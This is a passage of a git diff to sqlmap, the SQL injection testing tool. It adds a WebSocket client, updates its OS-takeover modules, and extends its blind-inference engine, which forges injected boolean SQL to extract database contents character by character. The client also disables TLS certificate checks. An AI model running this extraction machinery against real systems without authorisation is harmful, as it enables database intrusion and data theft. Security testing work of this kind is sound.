b/lib/request/websocket.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free WebSocket client (RFC 6455), replacing the 'websocket-client' third-party +# library. Covers exactly what sqlmap needs: the client handshake, masked text framing, wss (TLS) and +# the recv/timeout surface. It also removes the long-standing ambiguity with the unrelated 'websocket' +# PyPI package (both expose a top-level 'websocket' module). Pure standard library, Python 2.7 / 3.x. + +import base64 +import hashlib +import os +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib + +_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" # RFC 6455 magic value for the accept key + +OPCODE_CONTINUATION = 0x0 +OPCODE_TEXT = 0x1 +OPCODE_BINARY = 0x2 +OPCODE_CLOSE = 0x8 +OPCODE_PING = 0x9 +OPCODE_PONG = 0xA + +class WebSocketException(Exception): + pass + +class WebSocketTimeoutException(WebSocketException): + pass + +class WebSocketConnectionClosedException(WebSocketException): + pass + +class WebSocket(object): + """ + Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(), + send(), recv(), close(), the handshake .status and getheaders() + """ + + def __init__(self): + self.sock = None + self.status = None + self._headers = {} + self._timeout = None + self._buffer = b"" + self._closed = False + + def settimeout(self, timeout): + self._timeout = timeout + if self.sock is not None: + self.sock.settimeout(timeout) + + def connect(self, url, header=None, cookie=None): + parts = _urllib.parse.urlsplit(url) + secure = parts.scheme == "wss" + host = parts.hostname + port = parts.port or (443 if secure else 80) + resource = parts.path or "/" + if parts.query: + resource += "?%s" % parts.query + + self.sock = socket.create_connection((host, port), timeout=self._timeout) + if secure: + self.sock = ssl._create_unverified_context().wrap_socket(self.sock, server_hostname=host) + self.sock.settimeout(self._timeout) + + hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals + if port not in (80, 443): + hostport = "%s:%d" % (hostport, port) + + key = getText(base64.b64encode(os.urandom(16))) + lines = ["GET %s HTTP/1.1" % resource, + "Host: %s" % hostport, + "Upgrade: websocket", + "Connection: Upgrade", + "Sec-WebSocket-Key: %s" % key, + "Sec-WebSocket-Version: 13"] + for _ in (header or ()): + lines.append(_) + if cookie: + lines.append("Cookie: %s" % cookie) + lines.extend(("", "")) + self.sock.sendall(getBytes("\r\n".join(lines))) + + self._readHandshake(key) + + def _readHandshake(self, key): + while b"\r\n\r\n" not in self._buffer: + chunk = self._recvSome() + if not chunk: + raise WebSocketException("incomplete WebSocket handshake response") + self._buffer += chunk + + head, _, self._buffer = self._buffer.partition(b"\r\n\r\n") + lines = getText(head).split("\r\n") + + try: + self.status = int(lines[0].split(" ", 2)[1]) + except (IndexError, ValueError): + raise WebSocketException("malformed WebSocket handshake response") + + for line in lines[1:]: + name, _, value = line.partition(":") + self._headers[name.strip().lower()] = value.strip() + + if self.status != 101: + raise WebSocketException("Handshake status %d" % self.status) # 'Handshake status' is matched in connect.py + + accept = getText(self._headers.get("sec-websocket-accept", "")) + expected = getText(base64.b64encode(hashlib.sha1(getBytes(key + _GUID)).digest())) + if accept != expected: + raise WebSocketException("invalid 'Sec-WebSocket-Accept' in handshake response") + + def getheaders(self): + return dict(self._headers) + + def send(self, payload, opcode=OPCODE_TEXT): + self._sendFrame(getBytes(payload), opcode) + + def _sendFrame(self, data, opcode): + length = len(data) + frame = bytearray() + frame.append(0x80 | opcode) # FIN set, single (unfragmented) frame + + if length < 126: + frame.append(0x80 | length) # client frames must set the mask bit + elif length < 65536: + frame.append(0x80 | 126) + frame += struct.pack("!H", length) + else: + frame.append(0x80 | 127) + frame += struct.pack("!Q", length) + + mask = bytearray(os.urandom(4)) + frame += mask + payload = bytearray(data) + for i in range(length): + payload[i] ^= mask[i % 4] + frame += payload + + try: + self.sock.sendall(bytes(frame)) + except socket.timeout: + raise WebSocketTimeoutException("timed out while sending data") + except ssl.SSLError as ex: + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while sending data") + raise + + def recv(self): + data = bytearray() + while True: + fin, opcode, payload = self._recvFrame() + if opcode == OPCODE_CLOSE: + self._closed = True + raise WebSocketConnectionClosedException("WebSocket connection closed") + elif opcode == OPCODE_PING: + self._sendFrame(bytes(payload), OPCODE_PONG) + continue + elif opcode == OPCODE_PONG: + continue + + data += payload + if fin: + break + + return getText(bytes(data)) + + def _recvFrame(self): + header = bytearray(self._readStrict(2)) + fin = (header[0] >> 7) & 1 + opcode = header[0] & 0x0F + masked = (header[1] >> 7) & 1 + length = header[1] & 0x7F + + if length == 126: + length = struct.unpack("!H", self._readStrict(2))[0] + elif length == 127: + length = struct.unpack("!Q", self._readStrict(8))[0] + + mask = bytearray(self._readStrict(4)) if masked else None + payload = bytearray(self._readStrict(length)) + if mask is not None: # servers must not mask, but unmask defensively + for i in range(length): + payload[i] ^= mask[i % 4] + + return fin, opcode, payload + + def _readStrict(self, count): + while len(self._buffer) < count: + chunk = self._recvSome() + if not chunk: + raise WebSocketConnectionClosedException("WebSocket connection closed") + self._buffer += chunk + + result, self._buffer = self._buffer[:count], self._buffer[count:] + return result + + def _recvSome(self): + try: + return self.sock.recv(8192) + except socket.timeout: + raise WebSocketTimeoutException("timed out while receiving data") + except ssl.SSLError as ex: + # Python 2 raises ssl.SSLError('The read operation timed out') instead of socket.timeout on a + # TLS read timeout - which is exactly sqlmap's normal "read frames until timeout" path over wss + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while receiving data") + raise + + def close(self): + if self.sock is not None: + try: + if not self._closed: + self._sendFrame(struct.pack("!H", 1000), OPCODE_CLOSE) # normal closure + except (socket.error, WebSocketException): + pass + try: + self.sock.close() + except socket.error: + pass + self.sock = None diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 52f43ddde84..cb3e8a58bcb 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -143,6 +143,8 @@ def shell(self): try: command = _input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) + except UnicodeDecodeError: + pass except KeyboardInterrupt: print() errMsg = "user aborted" diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 679a4cd45cf..044394fc04a 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index d4a8776b133..d29dfae9af6 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -196,7 +196,7 @@ def _selectPayload(self): if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, it is likely that the the VNC " + debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index a63ec04a2d8..5abec5fabc3 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 4a53de31df4..7a6d51e0336 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -204,7 +204,7 @@ def udfInjectCustom(self): msg = "what is the local path of the shared library? " while True: - self.udfLocalFile = readInput(msg) + self.udfLocalFile = readInput(msg, default=None, checkBatch=False) if self.udfLocalFile: break @@ -231,8 +231,8 @@ def udfInjectCustom(self): errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) - self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] - self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] + self.udfSharedLibName = os.path.splitext(os.path.basename(self.udfLocalFile))[0] + self.udfSharedLibExt = os.path.splitext(self.udfLocalFile)[1][1:] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " @@ -254,7 +254,7 @@ def udfInjectCustom(self): for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) - udfName = readInput(msg) + udfName = readInput(msg, default=None, checkBatch=False) if udfName: self.udfs[udfName] = {} @@ -336,7 +336,7 @@ def udfInjectCustom(self): msg += "\n[q] Quit" while True: - choice = readInput(msg).upper() + choice = readInput(msg, default=None, checkBatch=False).upper() if choice == 'Q': break @@ -360,7 +360,7 @@ def udfInjectCustom(self): msg += "%d (data-type: %s)? " % (count, inp) while True: - parValue = readInput(msg) + parValue = readInput(msg, default=None, checkBatch=False) if parValue: if "int" not in inp and "bool" not in inp: diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 95727407a0d..321840a8e4a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -335,7 +335,7 @@ def webInit(self): handle, filename = tempfile.mkstemp() os.close(handle) - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index c81375a4508..3fd3fb6f902 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -226,8 +226,8 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if isNumPosStrValue(count): for index in getLimitRange(count): - query = agent.limitQuery(index, query, self.tblField) - output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) + limitedQuery = agent.limitQuery(index, query, self.tblField) + output.append(inject.getValue(limitedQuery, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index d7353da7eb5..60aa12aa062 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division +import heapq import re import time @@ -19,19 +20,23 @@ from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter +from lib.core.common import getFileItems from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData -from lib.core.common import goGoodSamaritan +from lib.core.common import openFile +from lib.core.common import predictValue from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter +from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE @@ -40,6 +45,17 @@ from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK +from lib.core.settings import HUFFMAN_PROBE_LIMIT +from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS +from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK +from lib.core.settings import DUMP_CHARSET_STABLE_ROWS +from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES +from lib.core.settings import LOW_CARDINALITY_THRESHOLD +from lib.core.settings import NAME_PREDICTION_CONTEXTS +from lib.core.settings import NAME_MARKOV_ORDER +from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY +from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS +from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR @@ -61,6 +77,179 @@ from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange +from thirdparty import six + +# Sentinel returned by the opt-in Huffman retrieval (--huffman) meaning "this character is +# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". +_HUFFMAN_FALLBACK = object() + +# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process +_huffmanPriorCache = {} + +def normalizedExpression(expression): + """ + Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies + from row to row is masked so every row of the same column maps to a single key. Used to group a + column's values for low-cardinality guessing and for its per-column online Huffman model. + + >>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1") + True + """ + + retVal = expression + + for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"): + retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I) + + return retVal + +def getHuffmanPrior(order, scale, dbms=None): + """ + Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman + set-membership tree during blind NAME enumeration (so it predicts from the first character rather + than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the + back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching + [] section of catalog-identifiers.txt - a single global model dilutes across dialects). + Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model. + """ + + if (order, scale, dbms) in _huffmanPriorCache: + return _huffmanPriorCache[(order, scale, dbms)] + + prior = {} + names = [] + + for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES): + try: + names.extend(getFileItems(path)) + except Exception: + pass + + if dbms: + try: + with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f: + section = None + for line in f: + line = line.strip() + if not line or line.startswith('#'): + continue + if line.startswith('[') and line.endswith(']'): + section = line[1:-1] + elif section == dbms: + names.append(line) + except Exception: + pass + + for name in names: + terminated = name + "\x00" + for i in xrange(len(terminated)): + ordinal = ord(terminated[i]) + if ordinal < 128: + counts = prior.setdefault(terminated[max(0, i - order):i], {}) + counts[ordinal] = counts.get(ordinal, 0) + 1 + + for counts in prior.values(): + peak = max(counts.values()) or 1 + for ordinal in counts: + counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak))) + + _huffmanPriorCache[(order, scale, dbms)] = prior + return prior + +def contextWeights(model, prior, order, prefix): + """ + Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus + the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest + context has not been seen yet. The online model is snapshotted under kb.locks.prediction because + value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise). + """ + + weights = {} + context = prefix[-order:] if order > 0 else "" + + while True: + with kb.locks.prediction: + online = dict(model.get(context) or ()) + for source in (online, prior.get(context) if prior is not None else None): + if source: + for symbol, count in source.items(): + weights[symbol] = weights.get(symbol, 0) + count + + if weights or not context: + break + + context = context[1:] + + return weights + +def valueMatchCondition(expressionUnescaped, value): + """ + Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a + string), or None when a whole-value equality cannot be trusted and the caller must fall back to + per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification. + + Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by + the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same + bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a + needless re-extraction). ASCII values compare reliably. + + On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a + numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare- + number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL) + "text = 1" is a hard type error that would abort the whole boolean, and there the expression is already + text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides + whether a whole-value shortcut hits or falls back to per-character extraction. + + >>> valueMatchCondition("q", "abc").count("OR") + 0 + >>> valueMatchCondition("q", u"caf\\xe9") is None + True + """ + + if value is None or any(ord(_) >= 128 for _ in value): + return None + + quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False) + condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted) + + if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE: + condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value) + + return condition + +def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare): + """ + Known-answer differential health-check on the inference oracle, using the value just extracted. + Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = " (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel + (e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe, + and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal. + + Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected + inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII). + """ + + if not value or valueMatchCondition(expressionUnescaped, value) is None: + return True + + # a definitely-different copy: flip the last character to a neighbour that cannot equal it + corrupt = value[:-1] + ("a" if value[-1] != "a" else "b") + corruptCondition = valueMatchCondition(expressionUnescaped, corrupt) + if corruptCondition is None: + return True + + try: + truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value)))) + mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition))) + mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + except Exception: + return True # a transient hiccup is not evidence of an unreliable oracle + + return bool(mustBeTrue) and not bool(mustBeFalse) def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ @@ -73,16 +262,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None partialValue = u"" finalValue = None retrievedLength = 0 + columnKey = None if payload is None: return 0, None if charsetType is None and conf.charset: - asciiTbl = sorted(set(ord(_) for _ in conf.charset)) + # conf.charset is fixed for the whole run; compute the table once, not per bisection() call + if kb.cache.charsetAsciiTbl is None: + kb.cache.charsetAsciiTbl = sorted(set(ord(_) for _ in conf.charset)) + asciiTbl = kb.cache.charsetAsciiTbl else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() + threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) @@ -125,13 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None expression = match.group(2).strip() try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API - if conf.predictOutput: - kb.partRun = getPartRun() - elif conf.api: - kb.partRun = getPartRun(alias=False) - else: - kb.partRun = None + # kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH + # the value-parallel and the classic serial name-enumeration paths. It is derived from the call + # stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites + # when it finds a match, so it does NOT clobber the context the value-parallel helper set for its + # worker threads (whose call stack does not include the enumeration method -> getPartRun is None). + derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson)) + if derivedPartRun is not None: + kb.partRun = derivedPartRun if partialValue: firstChar = len(partialValue) @@ -150,6 +345,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None lastChar = 0 elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) + if kb.fileReadMode: # Note: file content is retrieved hex-encoded (2 chars per byte), mirroring the firstChar handling above + lastChar <<= 1 elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: @@ -163,7 +360,61 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: expressionUnescaped = unescaper.escape(expression) - if hasattr(length, "isdigit") and length.isdigit() or isinstance(length, int): + # Row-independent key for this column (pagination offset masked), grouping all of a column's + # rows for low-cardinality guessing and for its own per-column online Huffman model. + columnKey = normalizedExpression(expression) if dump else None + + # Low-cardinality whole-value guessing: when the distinct values already seen for this column are + # few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them + # (one request on a hit) before per-character extraction - a large win on the enum/flag/status/ + # category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails). + # Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed + # request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires + # on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay. + if columnKey is not None and not partialValue: + # Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently). + with kb.locks.prediction: + seen = dict(kb.lowCardCache.get(columnKey) or ()) + # Arm only once SOME value has repeated (max count >= 2): that is the proof the column is + # low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe. + # Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a + # column that trips the threshold with many near-unique values wastes only a bounded number of + # probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value. + if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2: + for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]: + matchCondition = valueMatchCondition(expressionUnescaped, candidate) + if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char + continue + forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition))) + hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit and timeBasedCompare: + # A single time-based boolean is noisy; confirm the whole-value hit with a + # not-equals check (validateChar spirit) before trusting it, so timing jitter can + # never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the + # ~7-delays/char x N of full extraction. + notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition))) + hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit: + threadData.lowCardHit = True + return getCounter(getTechnique()), candidate + + # Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context + # and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name + # from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN + # order-0 model: each column learns its own character distribution, so a column restricted to few + # characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone + # (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution. + # Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads + # too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is. + if kb.partRun in NAME_PREDICTION_CONTEXTS: + huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER + huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms()) + else: + huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None + + if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: length = None @@ -194,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: numThreads = 1 - if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): + if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) @@ -219,7 +470,8 @@ def tryHint(idx): markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = agent.extractPayload(payload) or "" - forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue) + forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) @@ -236,6 +488,8 @@ def validateChar(idx, value): Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ + threadData = getCurrentThreadData() + validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: @@ -244,7 +498,8 @@ def validateChar(idx, value): # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) - forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + forgedPayload = validationPayload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) @@ -258,17 +513,151 @@ def validateChar(idx, value): return result - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): + def huffmanChar(idx): + """ + Adaptive retrieval of a single character using set-membership ("... IN (...)") + questions driven by a Huffman tree built from an online frequency model of the data + retrieved so far (used by default for blind table dumps; '--no-huffman' disables it). + The expected number of requests approaches the + data's entropy (fewer on text/hex), while uniform/binary data yields a balanced tree + (i.e. no penalty versus the classic bisection). + + Correctness does NOT depend on the (shared, racily updated) model: the tree is a + decision tree over the whole 0..127 range plus a dedicated ESCAPE leaf. At every node + the child that does NOT contain ESCAPE is the one tested, so any value outside 0..127 + (e.g. multi-byte/Unicode) fails every membership test, lands on ESCAPE and is handed + back to the classic bisection. Returns the character, or None to fall back. + """ + ESCAPE = -1 + model = kb.huffmanModel.setdefault(huffmanKey, {}) + threadData = getCurrentThreadData() + + # Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online + # model plus, for name enumeration, the shipped identifier prior (so the tree is 